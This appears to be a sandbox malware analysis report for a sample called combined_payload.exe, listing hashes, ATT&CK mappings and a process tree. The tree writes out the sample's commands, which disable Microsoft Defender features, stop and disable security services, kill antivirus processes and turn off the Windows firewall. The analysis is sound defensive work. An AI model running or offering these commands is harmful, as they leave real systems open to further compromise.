2d275f8c548e15c10939ce1d45e4e801b2e2a02573c1889a6c8305c4f4db9466

Analysis

user interaction
yes
max time kernel
24s
max time network
27s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 16:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
combined_payload.exe
Size 1.5MB
Sample260930-t3c2esda82
SHA256 2d275f8c548e15c10939ce1d45e4e801b2e2a02573c1889a6c8305c4f4db9466
MD5 070f39e93c9efbbdb8286e0b2074f870
SHA1 3fb247d83fd82168a126f7ceb5b083f71b423e4d
SHA512 2919cff903f9f92706d8186c28829f4bb9e04f4665e3352dd54590d60aa3fc5d1a2733f56556bb14d82f57534af100acd4396eced2cf88fa3bc46d0fc088fad4
SSDEEP 24576:r+U2olNKpITtnj/nG89LFVRn6bwGXylGBn76U7CuR7hP/:lKpITZNOz7PWa
TLSH
T17A753A03A7E6DDEAC89AA73891C72719F674FC5017A39BDB431052212E537D99E3EB00
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Disables one or more Microsoft Defender components 1 TTPs 5 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1884	powershell.exe
1576	powershell.exe
4548	powershell.exe
3608	powershell.exe
3308	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1256	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3308	powershell.exe
1884	powershell.exe
1576	powershell.exe
4548	powershell.exe
3608	powershell.exe

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
660	sc.exe
4404	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Kills process with taskkill 15 IoCs

defense_evasion

pid	Process
1624	taskkill.exe
2500	taskkill.exe
3312	taskkill.exe
5020	taskkill.exe
1596	taskkill.exe
3388	taskkill.exe
2312	taskkill.exe
4944	taskkill.exe
4372	taskkill.exe
860	taskkill.exe
2452	taskkill.exe
4732	taskkill.exe
2900	taskkill.exe
3660	taskkill.exe
2936	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3608	powershell.exe
3608	powershell.exe
3308	powershell.exe
3308	powershell.exe
1884	powershell.exe
1884	powershell.exe
1576	powershell.exe
1576	powershell.exe
4548	powershell.exe
4548	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	3308	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4696	combined_payload.exe
4696	combined_payload.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 3608	4696	combined_payload.exe	86
PID 4696 wrote to memory of 3308	4696	combined_payload.exe	88
PID 4696 wrote to memory of 1884	4696	combined_payload.exe	91
PID 4696 wrote to memory of 1576	4696	combined_payload.exe	94
PID 4696 wrote to memory of 4548	4696	combined_payload.exe	97
PID 4696 wrote to memory of 660	4696	combined_payload.exe	99
PID 4696 wrote to memory of 4404	4696	combined_payload.exe	101
PID 4696 wrote to memory of 5020	4696	combined_payload.exe	103
PID 4696 wrote to memory of 1596	4696	combined_payload.exe	105
PID 4696 wrote to memory of 4732	4696	combined_payload.exe	107
PID 4696 wrote to memory of 860	4696	combined_payload.exe	109
PID 4696 wrote to memory of 2452	4696	combined_payload.exe	111
PID 4696 wrote to memory of 2900	4696	combined_payload.exe	113
PID 4696 wrote to memory of 3660	4696	combined_payload.exe	115
PID 4696 wrote to memory of 3388	4696	combined_payload.exe	117
PID 4696 wrote to memory of 2312	4696	combined_payload.exe	119
PID 4696 wrote to memory of 1624	4696	combined_payload.exe	121
PID 4696 wrote to memory of 4944	4696	combined_payload.exe	123
PID 4696 wrote to memory of 2500	4696	combined_payload.exe	125
PID 4696 wrote to memory of 2936	4696	combined_payload.exe	127
PID 4696 wrote to memory of 4372	4696	combined_payload.exe	129
PID 4696 wrote to memory of 3312	4696	combined_payload.exe	131
PID 4696 wrote to memory of 1256	4696	combined_payload.exe	133
PID 4696 wrote to memory of 4200	4696	combined_payload.exe	135
PID 4200 wrote to memory of 3408	4200	net.exe	137

C:\Users\Admin\AppData\Local\Temp\combined_payload.exe
"C:\Users\Admin\AppData\Local\Temp\combined_payload.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableScriptScanning $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4548
- C:\Windows\SYSTEM32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:660
- C:\Windows\SYSTEM32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4404
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MsMpEng.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:5020
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MsSense.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:1596
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SenseIR.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:4732
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SenseNdr.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:860
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im WdNisSvc.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2452
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2900
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MpCmdRun.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3660
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im avp.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3388
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im avguard.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2312
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im bdagent.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:1624
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im egui.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:4944
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im kavfs.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2500
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im mcshield.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2936
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im norton.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:4372
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im sophos.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3312
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1256
- C:\Windows\SYSTEM32\net.exe
  net stop mpssvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mpssvc
    3⤵
    PID:3408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 8478ca44e6145dbe6664f871852535793f5ab6d86b4c78c611165bdfb91f159a
MD5 b594c0a5591fab95a43185dd9944a231
SHA1 3d725e779790f3525ba12b0666f0a3a235644fed
SHA512 452fc6194d00c466a3ceb98d2cce2e4262f6b0998b99c6b2ccd842d07449b177d1ce9ff4e7659e0b358eedf44bdc20cc30e3fdb2e4b61e56d94e3965f48cdb73
TLSH
T1C7112223F78C8920CC96163A509DAC5172B586CB81AEDF9F7FC0D210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135
MD5 e60eb305a7b2d9907488068b7065abd3
SHA1 1643dd7f915ac50c75bc01c53d68c5dafb9ce28d
SHA512 95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b
TLSH
T108112223F38C8960CC961539509DAC5172B586CB81AFDE9F7FC0C210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 a2df2570980e1123d9af8e12a27a82d3a4d332f0e7dd44e4e225743207c099b3
MD5 07a771c4f31f62b2d04e2befaa36dce7
SHA1 662952ede6c1acbb575e8149a5ac2f08edade811
SHA512 9e339a2d0bfaf5bbe5252f69061652c5880fe1233930830ca7190a65516366e05129907b1656a6790c0093ad82ac73ddee6738d0b78ecb1e3d888f467b889fe9
TLSH
T1D9112227F38D8920CC961539509DAC5172B586CB81AFDE9F7FC0D210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
MD5 98baf5117c4fcec1692067d200c58ab3
SHA1 5b33a57b72141e7508b615e17fb621612cb8e390
SHA512 344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d
TLSH
T1B3112223F78C8920CC961639509DAC5172B986CB81AFDE9F7FC0D210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ib25cgvc.wmh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ib25cgvc.wmh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1576-43-0x0000027AC5CD0000-0x0000027AC5EEC000-memory.dmp

Download

memory/1884-33-0x0000016AC4410000-0x0000016AC462C000-memory.dmp

Download

memory/3308-13-0x0000024DD8B70000-0x0000024DD8B80000-memory.dmp

Download

memory/3308-23-0x0000024DDACF0000-0x0000024DDAF0C000-memory.dmp

Download

memory/3608-1-0x000001BB6FD00000-0x000001BB6FD10000-memory.dmp

Download

memory/3608-2-0x000001BB71DB0000-0x000001BB71DD2000-memory.dmp

Download

memory/3608-0-0x000001BB6FD00000-0x000001BB6FD10000-memory.dmp

Download